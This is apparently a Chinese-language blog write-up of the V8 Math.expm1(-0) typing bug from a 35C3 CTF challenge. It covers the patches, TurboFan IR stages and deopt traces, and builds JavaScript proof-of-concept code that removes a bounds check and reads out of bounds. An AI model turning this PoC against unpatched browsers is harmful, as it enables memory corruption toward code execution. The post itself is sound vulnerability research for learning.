盒子
盒子
文章目录
  1. 前言:
  2. 正文:
  3. 总结:
  4. 问题:
  5. 总结:
  6. Reference:

v8-Math.expm1

前言:

分析了一下Math.expm1(-0)OOB的洞,学到了很多,并且也意识到即使一个看起来很小很小,小到可能觉得只是个功能特性问题,并不是一个bug的漏洞,也能够通过一些极其巧妙的方法来达到一个意想不到的漏洞利用。

正文:

相关issue在这里:

  1. https://bugs.chromium.org/p/project-zero/issues/detail?id=1710
  2. https://bugs.chromium.org/p/chromium/issues/detail?id=880207

关键的在这里:

1
2
3
4
5
6
7
8
9
10
11
function foo() {
return Object.is(Math.expm1(-0), -0);
}

console.log(foo());
%OptimizeFunctionOnNextCall(foo);
console.log(foo());

$ ./d8 --allow-natives-syntax expm1-poc.js
true
false

可能乍一看,也就是一个特性问题,正不正确的其实也没多大关系..漏洞发现者开始也是这么觉得的..但是后来他才发现这个漏洞是完全可利用的RCE。该漏洞修复了两次,第一次官方只patch了一个文件operation-typer.cc,后面又patchtyper.cc文件。patch记录可以参考如下:

  1. https://chromium.googlesource.com/v8/v8.git/+/76df2c50d0e37ab0c42d0d05a637afe999fffc49
  2. https://chromium.googlesource.com/v8/v8.git/+/56f7dda67fdc9777719f71225494033f03aecc96

这里就拿35C3上的题来说,作者拿了他发现的这个洞去出了题,出的是只打了operation-typer.cc没有打typer.cc的题。现在我们直接来分析一下,先看看两个patch

operation-typer.cc

1
2
3
4
5
6
7
 Type OperationTyper::NumberExpm1(Type type) {
DCHECK(type.Is(Type::Number()));
- return Type::Union(Type::PlainNumber(), Type::NaN(), zone());
+ return Type::Number();
}

Type OperationTyper::NumberFloor(Type type) {

typer.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@@ -1433,7 +1433,6 @@
// Unary math functions.
case BuiltinFunctionId::kMathAbs:
case BuiltinFunctionId::kMathExp:
- case BuiltinFunctionId::kMathExpm1:
return Type::Union(Type::PlainNumber(), Type::NaN(), t->zone());
case BuiltinFunctionId::kMathAcos:
case BuiltinFunctionId::kMathAcosh:
@@ -1443,6 +1442,7 @@
case BuiltinFunctionId::kMathAtanh:
case BuiltinFunctionId::kMathCbrt:
case BuiltinFunctionId::kMathCos:
+ case BuiltinFunctionId::kMathExpm1:
case BuiltinFunctionId::kMathFround:
case BuiltinFunctionId::kMathLog:
case BuiltinFunctionId::kMathLog1p:

需要说明的是这时候的CheckBounds检查还是可以消除的。

patch来看修改了MathExpm1type类型,本来是PlainNumber加NaN类型的,现在修改成了Number类型。PlainNumber类型表示除-0之外的任何浮点数,但是这是在TurboFan当中的,实际不优化过程是被当作浮点数的,浮点数是包括-0的。所以这就产生了错误。

当我们直接运行Poc的话,仍然会得到一样的结果,我们先看看IR显示结果:

1
2
3
4
5
6
7
8
9
10
11
function test(x){
var b = Object.is(Math.expm1(x),-0);
return b; //a[b * 4];
}

print(test(-0));
for (var i = 0; i < 100000; i++) {
test(1);
}

print(test(-0));

1

这里直接显示了Number类型,原因是他打了operation-typer.cc的补丁,导致TurboFan猜测类型结果为Number类型,所以导致后面可真也可假,不会触发bug。那我们要怎么去利用typer.cc没有打上的patch呢?我们首先得知道typer.ccJSCallTyper函数是拿来用在内置函数优化上的,而不是NumberExpm1上的,OperationTyper::NumberExpm1是用在普通优化Math.expm1函数上的。所以我们需要利用内置函数上的bug去触发,那么我们该怎么去触发Math.expm1出现在内置函数的优化上呢,这就需要去优化了:

该函数Math.expm1是数字输入的优化结点,也就是说TurboFan推测该函数输入将会是一个数字。如果运行的确实是一个数字的话,那么它就继续执行代码,但是如果不是一个数字,优化函数将会把不是一个数字的结果反馈给解释器,那么会执行一个“去优化”,此时解释器将会使用内置函数,他可以接受所有的类型。下次编译之后,TurboFan会有反馈信息通知他输入的并不总是数字,从而会产生内置函数的调用,而不是NumberExpm1的调用。

修改一下代码如下:

1
2
3
4
5
6
7
8
9
10
11
function test(x){
var b = Object.is(Math.expm1(x),-0);
return b; //a[b * 4];
}

print(test(-0));
for (var i = 0; i < 100000; i++) {
test("1");
}

print(test(-0));

此时再看IR会发现有两个文件,其中一个是正常NumberExpm1优化,另一个就是内置函数的优化了,得到了一个Call结点:

1567570124

加上--trace-deopt来查看一下去优化的信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
[deoptimizing (DEOPT eager): begin 0x1bddfbb9df21 <JSFunction test (sfi = 0x1bddfbb9dc71)> (opt #0) @0, FP to SP delta: 24, caller sp: 0x7ffe301a06c0]
;;; deoptimize at <./exp.js:2:25>, not a Number or Oddball
reading FeedbackVector (slot 8)
reading input frame test => bytecode_offset=0, args=2, height=6, retval=0(#0); inputs:
0: 0x1bddfbb9df21 ; [fp - 16] 0x1bddfbb9df21 <JSFunction test (sfi = 0x1bddfbb9dc71)>
1: 0x234d92701521 ; [fp + 24] 0x234d92701521 <JSGlobal Object>
2: 0x28603cd042c9 ; rax 0x28603cd042c9 <String[1]: 1>
3: 0x1bddfbb81749 ; [fp - 24] 0x1bddfbb81749 <NativeContext[249]>
4: 0x28603cd00e19 ; (literal 3) 0x28603cd00e19 <Odd Oddball: optimized_out>
5: 0x28603cd00e19 ; (literal 3) 0x28603cd00e19 <Odd Oddball: optimized_out>
6: 0x28603cd00e19 ; (literal 3) 0x28603cd00e19 <Odd Oddball: optimized_out>
7: 0x28603cd00e19 ; (literal 3) 0x28603cd00e19 <Odd Oddball: optimized_out>
8: 0x28603cd00e19 ; (literal 3) 0x28603cd00e19 <Odd Oddball: optimized_out>
9: 0x28603cd00e19 ; (literal 3) 0x28603cd00e19 <Odd Oddball: optimized_out>
translating interpreted frame test => bytecode_offset=0, height=48
0x7ffe301a06b8: [top + 104] <- 0x234d92701521 <JSGlobal Object> ; stack parameter (input #1)
0x7ffe301a06b0: [top + 96] <- 0x28603cd042c9 <String[1]: 1> ; stack parameter (input #2)
-------------------------
0x7ffe301a06a8: [top + 88] <- 0x563b96976ef5 ; caller's pc
0x7ffe301a06a0: [top + 80] <- 0x7ffe301a0710 ; caller's fp
0x7ffe301a0698: [top + 72] <- 0x1bddfbb81749 <NativeContext[249]> ; context (input #3)
0x7ffe301a0690: [top + 64] <- 0x1bddfbb9df21 <JSFunction test (sfi = 0x1bddfbb9dc71)> ; function (input #0)
0x7ffe301a0688: [top + 56] <- 0x1bddfbb9e079 <BytecodeArray[43]> ; bytecode array
0x7ffe301a0680: [top + 48] <- 0x003900000000 <Smi 57> ; bytecode offset
-------------------------
0x7ffe301a0678: [top + 40] <- 0x28603cd00e19 <Odd Oddball: optimized_out> ; stack parameter (input #4)
0x7ffe301a0670: [top + 32] <- 0x28603cd00e19 <Odd Oddball: optimized_out> ; stack parameter (input #5)
0x7ffe301a0668: [top + 24] <- 0x28603cd00e19 <Odd Oddball: optimized_out> ; stack parameter (input #6)
0x7ffe301a0660: [top + 16] <- 0x28603cd00e19 <Odd Oddball: optimized_out> ; stack parameter (input #7)
0x7ffe301a0658: [top + 8] <- 0x28603cd00e19 <Odd Oddball: optimized_out> ; stack parameter (input #8)
0x7ffe301a0650: [top + 0] <- 0x28603cd00e19 <Odd Oddball: optimized_out> ; accumulator (input #9)
[deoptimizing (eager): end 0x1bddfbb9df21 <JSFunction test (sfi = 0x1bddfbb9dc71)> @0 => node=0, pc=0x563b969772c0, caller sp=0x7ffe301a06c0, took 0.129 ms]
Feedback updated from deoptimization at <./exp.js:2:25>, not a Number or Oddball

可以看见一些not a Number or Oddball的信息,说明跟编译器推测的Number类型不一样,从而发生了去优化,此时编译器在结点处猜测的类型为PlainNumber|NaN,已经达到了我们所期望的结果了。

整个过程其实就是编译器先运行假设输入为Number类型,当类型反馈告诉编译器此时的输入是一个字符串时,TurboFan此时就会去优化,第二次编译该函数时,会调用输入可以为任何类型的内置函数来进行优化。达到期望效果。

总体来说,TurboFan是根据类型反馈FeedBack来工作的,还有一个点是“预测”。就是反馈和预测相结合来工作的。

接下来要考虑的就是该如何去触发OOB的访问了。

先测试如下代码:

1
2
3
4
5
6
7
8
9
10
11
function test(x){
var a = [1.1,2.2,3.3,4.4];
var b = Object.is(Math.expm1(x),-0);
return a[b*4]; //a[b * 4];
}

for (var i = 0; i < 100000; i++) {
test("1");
}

print(test(-0));

直接看simplified lowering阶段的IR

1567581427

可以发现这里被折叠为直接取了数组的第零位。往前看看被折叠的最初始位置。

最开始可以在typer阶段就可以看见,typer阶段的SameValue结点就已经折叠为false了,后面自然就直接取index为0了。具体可以看operation-typer.cc的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Type OperationTyper::SameValue(Type lhs, Type rhs) {
if (!JSType(lhs).Maybe(JSType(rhs))) return singleton_false();
if (lhs.Is(Type::NaN())) {
if (rhs.Is(Type::NaN())) return singleton_true();
if (!rhs.Maybe(Type::NaN())) return singleton_false();
} else if (rhs.Is(Type::NaN())) {
if (!lhs.Maybe(Type::NaN())) return singleton_false();
}
if (lhs.Is(Type::MinusZero())) {
if (rhs.Is(Type::MinusZero())) return singleton_true();
if (!rhs.Maybe(Type::MinusZero())) return singleton_false();
} else if (rhs.Is(Type::MinusZero())) {
if (!lhs.Maybe(Type::MinusZero())) return singleton_false(); --> fold false
} // hit here
if (lhs.Is(Type::OrderedNumber()) && rhs.Is(Type::OrderedNumber()) &&
(lhs.Max() < rhs.Min() || lhs.Min() > rhs.Max())) {
return singleton_false();
}
return Type::Boolean();
}

所以我们需要改变一下代码形式,使得SameValue在该阶段不被折叠,也就是不被“发现就可以了”。

根据代码,我们有两种方式,第一种为使得左分支可能为-0,第二种为使得右分支不为-0。因为第一种是固定不能变的,所以我们只能从第二种方式下手,我们得把-0右分支替换掉。

先试试这样的:

1
2
3
4
5
6
7
8
9
10
11
function test(x,y){
var a = [1.1,2.2,3.3,4.4];
var b = Object.is(Math.expm1(x),y);
return a[b*4]; //a[b * 4];
}

for (var i = 0; i < 100000; i++) {
test("1",-0);
}

print(test(-0,-0));

这时候虽然SameValue结点会保留下来,但是到了simplified lowering阶段的时候无法消除CheckBounds,这样最终也是无法利用的,后面可以发现y作为第二个参数Parameter[2]结点为NotInternal类型,该类型表示编译器不知道y的类型,也就是说,y也可以是-0,那么SameValue可真也可假,导致最后CheckBounds结点无法消除。

这点得去好好研究一下TurboFanpipeline运行机制。此处引用一个作者的图来表示pipeline管道优化的大概流程:

1567586204

typed-optimizitaion阶段会简化SameValue结点,可以简化为ObjectIsMinusZero结点,simpified-lowering阶段会简化ObjectIsMinusZero结点,会直接将他折叠为false常量。

又上面可知我们不希望在typer阶段就被折叠为false,也不希望CheckBounds无法消除,那我们就需要将SameValue结点保留到simpified-lowering阶段,让这个阶段知道在和-0比较,从而折叠为false消除CheckBounds结点。

也就是需要绕过typer-lowering阶段稳定到simplified-lowering阶段。

这时候我们可以用一下逃逸分析(escape-analysis),代码改为如下:

1
2
3
4
5
6
7
8
9
10
11
12
function test(x){
var a = [1.1,2.2,3.3,4.4];
var c = {x:-0};
var b = Object.is(Math.expm1(x),c.x);
return a[b*4]; //a[b * 4];
}

for (var i = 0; i < 100000; i++) {
test("1");
}

print(test(-0));

逃逸分析阶段的作用就是简化非逃逸对象,什么叫非逃逸对象呢。

1
2
3
4
function test(){
var a = {x:1};
return a.x;
}

此时a就叫非逃逸对象,因为他的x属性值是固定不可变的,也就是说可以将a.x直接折叠为1

1
2
3
4
5
6
7
8
9
function escape(x){
x.x = 2;
}

function test(){
var a = {x:1};
escape(a);
return a.x;
}

此时a是逃逸对象,也就是说逃脱了test的范围,因此就无法优化折叠了。

此时我们用以上更改过的代码跑之后就可以得到结果:

1
2.2741325538412e-310

显然我们已经成功OOB了。还不够,此时我们再来看看IR图。

typer阶段:

1567588535

显然已经不会被直接折叠为false

typed-lowering阶段:

1567588714

没有被简化为ObjectIsMinusZero结点。

escape-analysis阶段:

1567588908

此时SameValue右结点被折叠为-0

simpified-lowering阶段:

1567590240

此时checkbounds结点被消除了。

所以SameValue结点一直存活到了最后一个简化阶段。

这题目其实也可以先考虑“逃逸分析”后考虑“去优化”,也会发现一些有趣的东西,比如在十万次循环中写上的是"-0",那么还会多出一个NumberLessThan结点等等,这就自行分析了不多说。分析到最后还是可以发现一些TurboFan很奇怪的地方的。

总结:

发现TurboFan最大的一个特点也是最重要的一个特点就是它的“惰性思维”,也就是说不断输入某个特定情况时,那么TurboFan会以为以后的情况也是该种情况,从而优化代码也是按照该种情况来生成,这样就会产生许多问题,比如说这种情况:优化过程中预测所出现的情况并没有把所有可能的情况都包含进去(或者说过于限制,把原本大范围的限制的更小了),导致一些没有包含进去的情况在预测情况生成的优化代码中运行,出现不可知的错误。那么我们就可以在TurboFan中有目的的寻找这种错误,从部分开始下手审计。

问题:

这里其实有几个问题我是不太明白的。

首先是本身已经是Call结点了,但是后面调用一次test(-0)的时候结果为True,也就是说Call结点产生了-0,但是Call结点是PlainNumber|NaN并没有-0啊,是怎么产生的?

答:Call结点处的PlainNumber|NaN类型只是TurboFan的“预测”,并不是说就是只含有这两种类型,他只是“预测”而已,相当于它只是觉得Call结点只能产生PlainNumber|NaN而已,并不是说实际上就是只能产生这样的type,相当于是实际的子集,也就是“错误的预测”,用错误的预测生成了错误的优化代码。

其次是CheckBounds是如何消除的?图中已经表明了CheckBounds左分支为Range(0,4),那么4不应该是已经超出Array MaxLength了吗,为什么还能被消除呢?

这里不理解。

后面上手调,才发现几个很坑的点,一开始是下不了断点的,只有在程序在gdb里面跑起来的时候才能用文件地址加行数下断点,这里巨坑。后面在checkbounds下断点,共断下来四次左右,前两次是满足不了条件无法消除CheckBounds的,且没满足lowering这个条件就退出了,但是后面进了,且也是成功执行了DeferReplacement。但是我这里没法看Range(),我也不知道为啥,头痛。调不来。所以暂且就猜测他是在最后的时候反馈了Range(0,0)结点才消除CheckBounds的吧。

最后是SameValue处右结点已经折叠为-0了,那么之后反馈过程中一直为false,为什么不折叠为index为0呢直接取第一个元素呢,还是要用index offset去取element呢?

这个我也不理解。

我猜测是TurboFan开始在simplified-lowering阶段中得到的反馈是Range(0,4)的类型导致无法消除CheckBounds,自然也不可能直接折叠为false,而在后面阶段的继续执行的时候,得到了一直为false的反馈,导致消除了CheckBounds,但是又因为之前得到过true的情况,导致了编译器“惰性”的认为有不同的情况,所以采用了取element的形式而不是直接折叠。

v8代码好多也太难调了,给个活路吧..到时候都要变成预言家了..开局一电脑,全局全靠猜。

总结:

这个洞给我提供了一个思路。

就是说既然v8全靠猜和自我认知,那么就往它猜错的方向找,自然而然不就可以找到漏洞吗?

也就是说,我只要找到他没有猜到的地方,就可以找到洞。

相似的,我们可从上面得到的typer.cc以及operation-typer.cc两个文件下手,去找一找有没有相类似的所遗漏“猜”的地方,利用遗漏的“猜”找到突破点。

Reference:

  1. https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/
支持一下
扫一扫,支持v1nke
  • 微信扫一扫
  • 支付宝扫一扫